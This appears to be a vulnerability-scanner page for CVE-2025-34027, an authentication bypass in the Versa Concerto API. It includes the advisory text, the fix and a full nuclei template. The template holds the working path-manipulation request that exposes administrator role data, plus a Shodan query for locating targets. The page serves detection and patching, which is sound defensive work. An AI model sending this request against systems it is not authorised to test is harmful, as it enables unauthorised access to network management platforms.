Versa Concerto API Path Based - Authentication Bypass

criticalseverity

46.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.

Impact

Attackers can bypass authentication through URL path manipulation to access restricted API endpoints and retrieve sensitive role information without credentials.

Fix

Upgrade to the latest Versa Concerto version that properly handles URL decoding and path validation in authentication checks.

How to confirm it

Send: GET /portalapi/v1/roles/option;%2fv1%2fping
Positive when: contains "ENTERPRISE_ADMINISTRATOR" AND contains in header "EECP-CSRF-TOKEN"

Run it with nuclei: nuclei -id CVE-2025-34027 -u <target>

The full check

id: CVE-2025-34027

info:
  name: Versa Concerto API Path Based - Authentication Bypass
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    Authentication bypass in the Versa Concerto API, caused by URL decoding inconsistencies. It allowed unauthorized access to certain API endpoints by manipulating the URL path.This issue enabled attackers to bypass authentication controls and access restricted resources.
  impact: |
    Attackers can bypass authentication through URL path manipulation to access restricted API endpoints and retrieve sensitive role information without credentials.
  remediation: |
    Upgrade to the latest Versa Concerto version that properly handles URL decoding and path validation in authentication checks.
  reference:
    - https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce/
    - https://versa-networks.com/documents/datasheets/versa-concerto.pdf
    - https://www.cve.org/CVERecord?id=CVE-2025-34027
    - https://security-portal.versa-networks.com/emailbulletins/6830fa3f28defa375486ff2f
  classification:
    cve-id: CVE-2025-34027
    cwe-id: CWE-367
    epss-score: 0.46402
    epss-percentile: 0.98829
    cpe: cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: versa-networks
    product: concerto
    max-request: 1
    shodan-query: http.favicon.hash:-534530225
  tags: cve,cve2025,versa,concerto,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        GET /portalapi/v1/roles/option;%2fv1%2fping HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ENTERPRISE_ADMINISTRATOR

      - type: word
        part: header
        words:
          - EECP-CSRF-TOKEN

References

Use this check only on systems you are authorised to test. Where the data comes from